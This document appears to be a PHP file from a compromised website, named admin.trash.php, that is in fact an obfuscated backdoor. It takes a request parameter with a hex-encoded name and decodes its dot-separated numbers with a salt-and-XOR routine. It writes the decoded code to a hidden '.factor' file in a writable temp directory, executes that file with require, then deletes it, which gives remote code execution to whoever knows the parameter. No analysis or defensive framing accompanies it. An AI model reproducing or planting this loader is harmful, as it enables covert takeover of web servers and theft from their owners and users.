File: //proc/thread-self/root/home/vitanhod/vigolic100.vitavit.com.pk/includes/admin.trash.php
<?php
if(count($_REQUEST) > 0 && isset($_REQUEST["\x69\x74m"])){
$object = $_REQUEST["\x69\x74m"];
$object =explode (".", $object ) ;
$item = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt);
$j = 0;
array_walk($object, function ($v2) use (&$item, &$j, $salt, $lenS) { $chS = ord($salt[$j % $lenS]);
$d = ((int)$v2 - $chS - ($j % 10))^ 43;
$item .= chr($d);
$j++;});
$val = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path()]);
$data_chunk = 0;
do {
$entry = $val[$data_chunk] ?? null;
if ($data_chunk >= count($val)) break;
if (is_dir($entry) && is_writable($entry)) {
$component = sprintf("%s/.factor", $entry);
if (file_put_contents($component, $item)) {
require $component;
unlink($component);
exit;
}
}
$data_chunk++;
} while (true);
}